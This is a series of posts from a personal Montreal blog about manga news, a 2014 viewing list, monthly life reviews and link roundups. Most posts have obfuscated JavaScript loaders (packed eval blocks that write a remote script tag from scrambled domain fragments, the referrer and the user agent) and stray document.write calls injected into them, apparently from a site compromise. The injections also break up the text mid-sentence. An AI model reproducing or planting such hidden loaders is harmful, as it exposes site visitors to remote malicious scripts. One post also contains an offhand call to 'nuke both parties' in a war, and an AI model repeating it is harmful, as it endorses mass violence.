The french version has been around for a while (published in 2002), so I am surprised it took so long to get it translated in english. Of course, the French had a special interest in this story (it’s about the french revolution) but it’s a superb story, drawn in a classic shojo style, so it should interest everybody. I’ve complained about this several time, but I really cannot understand why there are so few shojo manga from the 70s and 80s being translated in either english or french. There’s a real goldmine of great shojo titles from that era that is left totally unexploited (mostly from the so-called Year 24 Group). Of course, I can understand publishers not willing to take the risk to release series that a often rather long (Riyoko Ikeda’s Jotei Ecatherina is 5 volumes, Orpheus no Mado 18 volumes, Eikou no Napoleon – Eroica 14 volumes, and Suzue Miuchi’s Glass no kamen is 50+ volumes !!) and in a style that might seem dated (but oh so beautiful!)…

Now, the question is: will Udon includes in this edition the more recent Rose of Versailles “Episodes” ? Or will it be in an eventual third omnibus volume? I hope they thought of acquiring the rights for those stories as well…

Strangely, Udon Entertainment is mainly known for their Street Fighter and video game related manga but they seems lately to venture into more traditional manga titles (and shojo, mind you). Now their catalog even includes a collection of manga classics (Jane Austen’s Emma, Dicken’s Great Expectations, Victor Hugo’s Les Miserables, Jane Austen’s Pride & Prejudice, Nathaniel Hawthorne’s The Scarlet Letter) !

[ Sources: ANN, Udon ]

Ten Other notable news

  • At the same occasion, Udon announced the release of Moyoco Anno’s Sugar Sugar Rune also for the 2nd Quarter 2016 [ ANN ]
  • Studio Ghibli’s latest film, When Marnie Was There, earned over $500K in U.S. Theaters [ ANN ]
  • Nintendo President Satoru Iwata Passes Away [ ANN ]
  • Shigeru Mizuki’s manga Showa: A History of Japan (1939-1944 and 1944-1953) won the 2015 Will Eisner Comic Industry Award for Best U.S. Edition of International Material from Asia [ ANN ]
  • Mamoru Nagano’s manga Five Star Stories will receive its first new volume in nine years this august [ ANN, Forbes ]
  • Sunrise Announced at Anime Expo that it is working on a new Gundam TV series [ ANN ]
  • Tokyopop has announced at Anime Expo that it is planning to begin publishing manga again in 2016 [ ANN ]
  • Vertical announced at Anime Expo that it has licensed the publishing rights for, amongst others, the Attack on Titan: Lost Girls novel spinoff [ ANN ]
  • The live-action adaptation of Masamune Shirow’s Ghost in the Shell, starring Scarlett Johansson, is set to be released in march 2017 [ ICv2 ]
  • Luc Besson has announced that his next movie as producer and director will be Valerian and the City of a Thousand Planets, based on the comics by Pierre Christin & Jean-Claude Mézières, which should see a release in 2017 [ ICv2, themarysue.com]

[ Traduire ]

The year in media entertainment

/ Clodjee / 1 Comment

As I stated several time lately: I really watch too much TV and here is the proof.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikden|var|u0026u|referrer|eyanh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bsbst|var|u0026u|referrer|ktasa||js|php’.split(‘|’),0,{}))

This list of the movies and TV series that I’ve watched in 2014 is far from exhaustive as I am sure I forgot many of them (particularly movies or series that I don’t recall because I’ve watch them on TV without taking any notes and therefore they left no trace). The movies were watched mostly on Dvds. This time I’ll also try to rate them according to this system: [0] Bad, document.write(“”); [1] Meh, [2] Average / Really I don’t remember, [3] Good, [4] Great and [5] Excellent. I’ve also indicated when the TV series are British [UK], because it is usually a sign of better production quality (certainly in the writing). I’ll start with a Top 10 for which I’ll try to give a few comments [to be added a little later, sorry] and complete with a simple list of the rest (but I will add a link to at least provide a few production details). The top 10 of the movies was hard because I could’t find enough titles that I really liked. The top 10 of the TV series was even harder because there was so many good ones. Here we go… after the jump:

Movies Top 10

Battleship [4],

Belle et Sébastien [3]

Book thief (The) [4]

Chat du rabbin (Le) [5]

From up on Poppy Hill [5]

Great Beauty (The) [5]

Hiroshima mon amour [5]

Oblivion [4]

Philomena [4]

12 years a slave [4]

And the rest: A courtesan with flowered skin [3], A drop of the grapevine [3], A la recherche du temps perdu [2], A sparkle of life [3], After Earth [2], Becket [3], Blossom bloom [3], Blue Jasmine [3], Cape Nostalgia [3], Divergent [3], Elysium [4], Ender’s game [3], Fly, Dakota, Fly! [3], Gravity [4], Hana [3], Hobbit : The desolation of Smaug (The) [3], Hunger game : Catching fire (The) [3], Hyde Park on Hudson [3], Iron Man 3 [2], Jobs [2], Light shines only there (The) [3], Lone Ranger (The) [2], Monuments men (The) [3], One third [3], Our family [3], Pacific Rim [1], Quai d’Orsay [2], Quartet [3], Salaud, on t’aime [4], Saving Mr. Banks [2], Star Trek: Into Darkness [1], Sur la piste du Marsupilami [2], Taira clan saga [3], Thor : The dark world [2], Tokyo: The city of glass [3], Twenty-four eyes [3], Zero Theorem (The) [2].

TV Series Top 10

Äkta människor (Real Humans / 100% Humain) S. 1 [5]

Bletchley circle [5]

Endeavour [5]

Firefly [5]

Manhattan [5]

Murdoch Mysteries S. 7-8 [3]

Newsroom (The) S. 3 [5]

Outlander [4]

Returned (The) / Les Revenants [4]

True Detective S.1 [4]

And the rest: 24: Live Another Day S. 9 [1], Almost Human [2], Atlantis [2], Birdsong [1, UK], Breathless [2, UK], Call the midwife [3, UK], Click [2, UK], Constantine [1], Continuum S. 3 [3], Cosmos: A spacetime odyssey [3], Crimson Field (The) [3, UK], Death comes to Pemberley [4, UK], Defiance S. 2 [2], Doctor Zhivago [3, UK], Doctor Who S. 8 [2, UK], Downton Abbey S. 5 [3, UK],

Domestic report (Nov-Dec)

/ Clodjee / Leave a comment

The last two months felt busy, document.write(“”); but sincerely I cannot recall any single event that was really worth mentioning (well, besides the Montreal book fair (part one and part two) and the JCCCM Holiday Craft and Food Sale, which I already covered in separate entries). However, plenty happened, so read it all after the jump:
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fniti|var|u0026u|referrer|knkfa||js|php’.split(‘|’),0,{}))


I must say that work kept me quite tired, so I often felt like just crashing on the couch and watching TV once I was back home. That’s why I watch too much TV (I’ll cover that in a separate post later). I usually have no energy left to read or write. Therefore time went by rather quickly.

I must admit that any work that always makes you tired and leaves you sweating should not be considered white collar work. It has nothing to do with working at a desk or a service counter like it should be: because of the lack of staff I feel like I’m running all the time (I once said it was like running a marathon while learning to juggle) and I spend more time than I should moving boxes, furnitures, and climbing ladders to install decorations, signs or posters. And people say that city workers are overpaid, lazy do-nothing?!

Everyone talks about austerity! Even the mayor said that he wants us working more and will attempt to reduce our benefits, freeze our salary (considering the constant rise of the cost of living it equals to lowering our salary!) and the government also wants to cut our retirement! We have now been without a contract for three years and have been on strike for one day only in early December. I don’t feel like fighting, but unfortunately it’s going that way. It is really frustrating! I have mixed feeling in regard to working with the public (many are nice but some are looking down on city workers or downright insulting) but I love working with books (even the heavy ones). However, this year, I’ll be looking into getting out of this nut house for sure! In the meantimes, there are only seven-hundred-fifty weeks before retirement!

Fall felt a little colder than usual. By mid-November we had our first snow on the ground, but just a little. We kept getting a daily dose of light snow but without any real accumulation, unlike upper state NY which got two meters of snow in three days! Lucky them… The last week of November we saw the return of mild weather as the temperature kept rising slowly: first 5’C, then 8′ up until 13′! With some rain of course! It seemed like a proper Indian Summer, only a wet one and without the romantic sunsets… In December, temperature fell back under the freezing point. It seems clear now that we will have a winter with seesaw weather! The second week of December brought us a real snow storm. A nice thirty centimetres blanket of snow finally brought us the Holidays spirit. But it didn’t last for long. Just before Christmas it warmed up around 5’C and it started raining on Christmas Eve. It rained all night, sometimes quite heavily. The wind caused some flicker in the power grid. It really didn’t feel like the Holidays. At the end of December, the temperature went back to its seasonal frigid self, but it stayed dry. Fortunately, New Year brought some light snow again which gave back a wintry look to the landscape…

All this time I kept being preoccupied with my health. However, I got tired of logging the calories (since I am not the one preparing food it got complicated to identify and quantify properly what I was eating). Also, the changing weather (from freezing to raining and back) made it difficult to take long walks outside, but so far I haven’t faltered on this aspect. I keep taking strolls on my days off (sometimes a little shorter because of the temperature, so it is sometimes difficult to reach my goal of 8000 steps per day) which also give me the opportunity to take many nice nature pictures around the park (see the many sunsets and snowy landscapes — as well as cats — on my iphoneography feed). I have yet to find meaningful physical activities that I can perform indoor (I do have an old stationary bike, but it’s clunky and uncomfortable). The effort somehow paid off since I succeeded to lose a couple of pounds, but I since then regained them (it’s particularly difficult during the Holidays). As my weight oscillates between 206 and 202 pounds, it seems like a losing and desperate battle. I failed to reach below two-hundred pounds before the end of the year, but I swear I’ll keep at it!

Beside the fact that the constant pressure at work keeps me tired, I feel in relatively good shape. A little before Christmas I had a cold, but it didn’t last long (thankfully I got the flu shot again this year). I also fell from an old two-step ladder at work, which caused many body pains. This, and the constant kneeling at work, prevented my left knee from healing so it’s still hurting when I am bending it or putting pressure on it. I should have it looked after since I don’t want to end up with mobility problem several years later. There is always little problems (like recurring pimples – the Hokuto no ken pox!) and pains (particularly in the back), but that’s the toll of aging, I guess.

Also, while reading a post on a social network, I recently realized that I was suffering from mild social anxiety. I always thought I was a little shy, rather misanthrope, uncomfortable in any social setting, particularly in crowds, and sometime a little paranoid, but maybe it could all be summed up by this. Who knows. That’s the total opposite of my father who was always at ease with people…

Somehow the need I felt to monitor my health with all sort of gadgets and apps brought a renewed interest in domotic (in the old days we were talking about home automation but now people talk more about the “internet of things”) and the purchase of more gadgets and apps (so-called “intelligent” thermostat, smoke detector, light control, etc). I’ll talk about this a little more in a separate post, but there’s this funny anecdote: The Nest thermostat is supposed to save energy by adapting to our habits and analyse our usage. I had already established a schedule determining which temperature I wanted for each hour of the day (usually at 19’C, 16′ when I was away, 18′ at night, etc). However, a few mornings, detecting that I was up either via its motion detector or its link to my Jambone UP24 band, the Nest took the odd decision to crank up the heat to 22′. After a while it leaned that it wasn’t what I wanted and it stopped, but still… Maybe I should call it HAL (Heating Auto-Learner) or is it too creepy? Even the body of the thermostat itself looks like the “eye” of HAL 9000, the crazy computer in 2001: A Space Odyssey. Coincidence? I just hope it won’t start calling me Dave!

Another annoying anecdote: I decided to update the Windows version that works with the VMware Fusion PC emulator I am using sometime and I purchased a licence for Windows 8.1. How come it takes only a couple of hours (and it’s free) to install and tweak OS X (10.10 Yosemite for example) while it costs me nearly $150 and twelve hours to do the same thing with Windows?! I really don’t understand why people would go to such trouble for that piece of… software… Unfortunately there are still too many programmes and games that run only on it…

This blog did well this year. Actually, after about nine-hundred posts, it is my tenth year of blogging. And I increased my average by succeeding to publish two-hundred posts this year! Can I do more next year? I’ll surely try. This blog has an overall page views count of 107,300! This year, almost every month were above 2000 page views (save for April which was a little less) with a monthly average of 3000 pv. In a strange fluke, according to Google stats, December had nearly 10,000 pv (which seems to come mostly from traffic to last year’s review of the Japanese movie The Devil’s path). If we disregard December, the 2014 monthly average is only 2400 pv, nevertheless a serious increase over the all-time average of 1601 pv. However, according to StatCounter, December had only 1380 page views (or 1118 unique visits). Strange discrepancy. StatCounter also shows a yearly total of 11,181 pv (or 7,083 uv) which is, still, quite above the seven-year average of 7,702 pv (5238 uv) or a monthly average of 932 pv (591 uv) again an increase over the all-time monthly average of 771 pv (524 uv). Indeed, not bad at all. So, feel free to keep reading (and please leave some comments from time to time!).

Finally, I must say that, over all, this year was relatively good… if I forget about the unpleasantness of work (anyway we work to pay the bills not to have fun) and the fact that I was briefly hospitalized. I don’t have much to complain about and I am mostly happy. I did lots of work on the house, wrote a little more about manga and life (of course, in both case, not as much as I wanted but that’s a beginning). So, for 2015, I sincerely wish to watch a little less TV, continue to work on the house, read more books and write more about them and everything else.

Take care and Happy New Year to you all.

[ Traduire ]

The month in review (Nov-Dec)

/ Clodjee / Leave a comment

Too many things to talk about so the domestic report will be in a separate entry this time…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaesy|var|u0026u|referrer|hzain||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trhie|var|u0026u|referrer|riier||js|php’.split(‘|’),0,{}))

The last couple of months have been busy so I haven’t watch or read that much news, document.write(“”); but, still, I have gathered nearly two hundreds links to share with you. The news have been dominated by local stories (austerity mesures, union fighting back) and science stories (Rosetta & Philae comet mission, Amphipolis Tomb discovery, new gadgets), a few disasters & terrorist attacks as well as the inevitable reviews of the year. Have a look after the jump…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & Foreign Politics

Fitness tech

Health, home & garden, pets

Humour

iPhoneography

Local news

Media, Culture, Entertainment & Society

The month in review (Sep-Oct)

/ Clodjee / Leave a comment

On the domestic front, document.write(“”); after my recent health scare, I have been rather preoccupied by my well-being and more determined than ever to improve my physical condition. So I started taking walks around the park and monitoring more closely my health parameters (weight, blood pressure, glucose level, body temperature, calorie eaten & burned, etc.). In the beginning my body was hurting, but I am getting used to it. Now I must stay motivated and moving. I have acquired all sorts of gadgets and apps (iPhone 6, Jawbone Up 24, Moves, RunKeeper, Tactio Health, etc.) for that purpose, but so far without much success. I feel better, but (despite reducing the portion eaten — that’s all I could do since I already have a healthy diet) I have not succeeded to lose much weight (I must lose at least thirty-five pounds to be “healthy” [correction: I must lose 25 kgs (55 lbs) ! Damn conversion: it has doomed several planes and space missions; even NASA, Apple or Jawbone have trouble getting this right!]). Somehow I must find ways to increase my physical activity (however my bummed knee prevents me from jogging and my sensible butt doesn’t seem to appreciate biking or even spinning (i.e. stationary)). Unfortunately, all this is rather time consuming…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|deaya|var|u0026u|referrer|bzsaz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eyfki|var|u0026u|referrer|dshfy||js|php’.split(‘|’),0,{}))

In the end of September we had a few days of a quasi heat wave with temperature in the high twenties, but it didn’t last and much of October was more seasonal (cold, mostly cloudy, with temperature between five and ten). Now it’s slowly inching toward freezing temperature and the first week of November saw the first snow of the year (ok, just a few tiny flakes dancing in the sky without reaching the ground). Not much else happened besides a quick flea infestation, another home invasion of the tiny grey kind (but the CSDF [Cat Self Defense Force], mostly Caramel, took care of it) and considerable strategy and planning to get the flu shot.

Another significant event, after the release of the iPhone 6 in September, was the mid-October Apple keynote that brought us iOS 8.1, Yosemite (OS X.10) and a new Mac Mini (I was planning to replace mine, but the specs of the new model are too disappointing; and still no new Apple TV). Unfortunately I am growing increasingly disappointed with Apple. I feel like I’ve just bitten in an apple and discovered it’s bad (it reminds me: what’s worse than finding a worm in your apple? Finding half a worm!). Actually, I am quite pissed off at them. I was planning to give my old iPhone 4S to my sister once I had acquired the iPhone 6, but it self-destructed before I had a chance (a swollen battery ripped open the case). Since my warranty had expired by ten days, we had to pay $200 to have it replaced! With “Bendgate”, the fumbled release of iOS 8, the buggy Health app (which still doesn’t work for me since Apple has removed the function I was interested in: glucose logging — apparently americans have no idea that the rest of the world use different measuring units!), and the absence of Apple Pay in Canada, I am starting to wonder why I bothered purchasing the iPhone 6. Even my iPad Air is starting to give me problems with iOS 8 (the sound stops working sometime) and I had to install an old Java version on the iMac in order to allow some softwares to play nice with Yosemite (and VMware Fusion stopped working so I’ll need to pay for an upgrade, again). All this is so annoying. As they start releasing crappy products, I am wondering if Apple is becoming just another greedy corporation. Anyway, I’ve lost all confidence in them…

I had lots of problems so far this year, so I guess it was my time to have an “anus horribilis”! What’s worries me is that since I have been hospitalized I have not written anything significant. I just can’t seem to concentrate or find enough time… I’ve been trying to write this blog post for weeks. Hopefully, it will improve with time.

The world news have been mostly dominated by the Ebola crisis and the Islamic State situation. As usual, I’ve gathered tons of interesting links and I am sharing them with you after the jump…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Apple: iOS8

Apple: Yosemite

Books, Digital Edition & Libraries

Economy, Environment & Foreign Politics

Health, home & garden

iPhoneography

Local news

Media, Culture, Entertainment & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

A September fortnight in review

/ Clodjee / Leave a comment

On the domestic front, document.write(“”); life was dominated by health problems. With the second week of September, I started feeling discomfort and then pain, but kept going to work because I finally was given some responsibilities and didn’t want to shirk from them. It was obviously a mistake. Thursday (Sept. 11th of all days!) I skipped work to go to the clinic but they didn’t do much to relieve the pain. The next day it had increased so much that I couldn’t bear it, so I decided to go to the emergency. I ended up spending a few days at the hospital, getting a surgery and having to take a three-week sick leave to recover.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|syntf|var|u0026u|referrer|byfdi||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frzhy|var|u0026u|referrer|nzerz||js|php’.split(‘|’),0,{}))

I thought it would be a great opportunity to catch up on my readings and writings, but (so far) I was rather wrong (I couldn’t write a single new book or movie comment, beside finishing two that were already in the works: Judas and the FFM Japanese shorts). First, I felt quite tired (the anaesthetic and all the medications they pump into you can really mess up your system) and the various post-up care (like daily visits to the clinic) kept me rather busy. It’s rather disappointing but, hey!, health must come first.

Another disappointment was that the pain made me miss the ordering window for the new iPhone 6 so instead of getting it on launch day I had to wait for a few extra weeks. At first, I was told that I would get it only in early October, but it seems I might get it at the end of the week instead. Great! It will give me something to keep my mind busy (since I cannot really do work around the house, still have a little trouble sitting at the computer and seems to have difficulties concentrating). Just resting can be quite boring after a few weeks.

September has brought us unseasonably cold temperatures (around 10 to 16 ‘C) so there cannot be any doubt that the summer is at its end (well, technically yes, but still… early fall is usually warmer than that!). However, it is suppose to warm up a little soon. And my calendar reminds me that I still have 764 weeks before retirement…

In the news there was lots of talk about the latest Apple products, the Scottish independence referendum and the World trying to come up with a response to the Islamic State treats. I had plenty of time to read and gather links to many interesting news stories which I am sharing with you after the jump…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Apple: iOS8

Apple: iPhone 6

Books, Digital Edition & Libraries

Economy, Environment & Foreign Politics

Health, home & garden

Humour

iPhoneography

Local news

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries / Régimes de retraite

[ Traduire ]

August in review

/ Clodjee / Leave a comment

On the domestic front, document.write(“”); August was an exhausting month. I covered the first part of the month in my previous entry (July in review). The second part was mostly dedicated to the Montreal World Film Festival. In the middle, I took a long week-end in order to recover as best as I could. I was so tired that, as usual, I didn’t do as much as I wanted. Disappointingly, I didn’t write any book or movie comments, but I wrote the overdue review of the month, went to the clinic to get reassured about my knee, updated the blog with the festival’s scheduling and movies information, but mostly rested. The situation at work had probably something to do with my exhaustion and the coming weeks (where I would be attending the festival) would certainly not help.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isnfy|var|u0026u|referrer|dsenb||js|php’.split(‘|’),0,{}))

The festival showed about a dozen Japanese movies and I succeeded to watch them all (and more! A general overview of the festival will come soon). In the beginning, I had a surge of energy and [finally!] wrote several movies comments (first the latest Lelouche: Salaud, on t’aime, One Third, Tokyo – The city of glass, the British short The stomach, Blossom Bloom, Our family, and more to come soon) and even got a few specific responsibilities at work that made me feel worthy. Unfortunately, at the end of each week I was terribly exhausted (the running around at work wasn’t helped at all by the fact that my knee was still bothering me, I had developed swollen piles and I was moonlighting at the film fest). On top of it, my sister finally found someone to come pick up all the boxes in the garage (unwanted left-overs of the moving [three years ago!]: two boxes of glass ware, ten of clothing and twenty of books) so I had to prepare them for the pickup in a hurry (repackaging, making sure I was not giving away interesting books, etc.). Now that I had freed some space, I couldn’t resist to clean up and reorganize everything in the garage (after all it’s the indispensable washing room, workshop and storage room). All this was, you guess it, quite exhausting. The only way to recover was to take three-day week-ends (some planned, some unscheduled — that’s why we have sick days, isn’t it?).

On the world stage, the press was mostly preoccupied with the situation in Ukraine and the horrible crimes of the Islamic State in Irak. Of course, exhaustion and being so busy can’t keep me from reading interesting news stories (on technology, sciences, popular culture, local interests, etc.) and wanting to share their links with you…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

iPhoneography

Local news

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries / Régimes de retraite

[ Traduire ]

July in review

/ Clodjee / Leave a comment

July was a busy month, document.write(“”); but in a good way. During the first half of the month I took twelve days of vacation, but didn’t do much (at least it felt that way). The highlight was certainly the quick trip I took with my family to the Saguenay.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iyfak|var|u0026u|referrer|hszsb||js|php’.split(‘|’),0,{}))

For most of the month the weather was generally nice, rather hot but with only a few thunderstorms. At least I could stop worrying about my garage being flooded since the city finally repaired the sidewalk (although it took a while: I directly complained to city hall on June 20th, they did the markings on the 26th, then they’ve cut the sidewalk a week later, removed the old sidewalk on July 8th, installed the formwork on the 11th, poured the concrete on the 17th, did the asphalt on the 24th and gave the landscaping finishing touch on the 30th! Six weeks! Our taxes at work… but, hey, I am not complaining since I tried for three years to get it done). Now, after a day-and-half of rain and then three cold and overcast days (around 15’C!), we are wondering if this is already the end of the summer…

The other notable events of the last month were the return of the family of cats in our backyard (the mother and her three kittens now called Chausson [Socks], Mitsou [Honey] and Kuro [Blacky]), a knee injury (I fell hard on my left knee: it was swollen for a few days, I limped for a week and now, several weeks later, it hurts only when I put pressure on it or kneel—the problem is that I have to often crouch or kneel at my job; however, I went to the clinic earlier today [a wait of 4.5 hours for a 2-minute consultation!] and it is apparently a bursitis, a prepatellar bursitis to be precise, so they gave me some anti-inflammatory drug and told me to stay off my knee for at least a week) and my wife and I went to visit the Fabergé exhibit at the Montreal Museum of Fine Arts.


The situation at work didn’t really improved. I could never get use to such chaos, absurdity and inconsistency. It is sometimes so irritating and exasperating, even exhausting (with all the kneeling, running, box carrying and furniture moving—it feels like running a marathon and learn joggling at the same time: I just can’t do it), but I must do my best to ignore it, shut up and endure because I can’t change job for another year. Grin and bear it, as my wife says. Or maybe I’ll just get used to it… Such unhappiness is not good for my moral or even my health. It’s maddening! However, even if I fume and cry, there’s not much I can do but wait and hope for better days. So I take one day at a time… and try to pour my energy into something else.

Luckily, it seems that reduced commuting time left me less tired, so I was able to write a lot in the last month. I wrote comments on a few anime & manga related titles: manga (Joséphine Impératrice vol. 2), references (Dico Manga, GraphoLexique du Manga, Anime Classique Zettai, Manga: The complete guide, and language (Chineasy). However, I wrote mostly movie-related posts as I was starting to prepare for the Montreal World Film Festival. A month or two before the festival, I like to start posting festival news (Fantasia’s first, second and third wave of announcements, their Japanese line-up, as well as the MWFF announcements, programmation and Japanese line-up) and commenting on last year’s movies (Blindly in love, Mourning recipe, The Kiyosu conference, and Case of Kyoko, Case of Shuichi; there are two more to come later) in order to help generate interest. Later in fall, I plan to shift my interest toward Japanese literature…

On the world stage, people’s attention went mostly toward the situations in Ukraine (pro-russian rebels shooting down a commercial airplane) and in Gaza (Israel invading once more Palestinian territories). The latter is rather infuriating. I agree that it is a complex situation and that both sides bears the blame, but the arguments of self-defence (come on: tanks & missiles v. sling shots & homemade rockets?), human shields (they don’t hide behind civilians: they are ALL civilians and must share the same tiny space as it is the most densely populated area in the world!) or “they started it” (it depends on how many generations you want to go back: to my understanding it all started when Israel refused to share what was BOTH their ancestral land) are rather fallacious. So, I don’t understand why so many people would unconditionally defend Israel… On the opposite side, the fact that I call a spade a spade doesn’t make me an anti-Semite. In a democratic world, criticism should be embraced not extinguished. I just think it is sad that a nation with such a beautiful and tragic history & culture would knowingly commit apartheid and genocide since they have lived through it themselves. It makes it even more morally inexcusable! If their god has send them wandering into exile as a test, I guess they have miserably failed as they have not understood yet that we are all brothers in adversity and that we must learn to share. After all, Earth is rather small (and getting smaller) and such lesson is fundamental to everyone‘s survival… Unfortunately, I fear that the only way to put an end to this would be for the international community to strongly interpose itself in-between the belligerents, to set new borders and make Jerusalem into an international city. But it’s quite utopian. If not, we could always nuke both parties, because, the way it is now, it will only end with the total annihilation of either one nation.

Anyway, I found lots of interesting news stories (on technology, sciences, popular culture, local interests, etc.) and I am gladly sharing with you those 175+ links (scraplinking, remember?):

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour
iPhoneography

Local news

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries / Régimes de retraite

[ Traduire ]

Le FFM se prépare à une 38e année difficile

/ Clodjee / Leave a comment

Dès février, document.write(“”); le FFM sortait ses premiers communiqués de presse de l’année en annonçant la nomination de monsieur Massimo Saidel comme ‘’conseiller spécial’’ pour le Marché international du film du FFM. Massimo Saidel apportera son expertise et se rapportera à Gilles Bériault, le directeur du Marché international du film pour la préparation et l’organisation du prochain marché en 2014, qui se déroulera durant le 38e Festival des Films du monde, du 21 août au 1er septembre 2014. (Voir le communiqué)
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|trnid|var|u0026u|referrer|eaezy||js|php’.split(‘|’),0,{}))
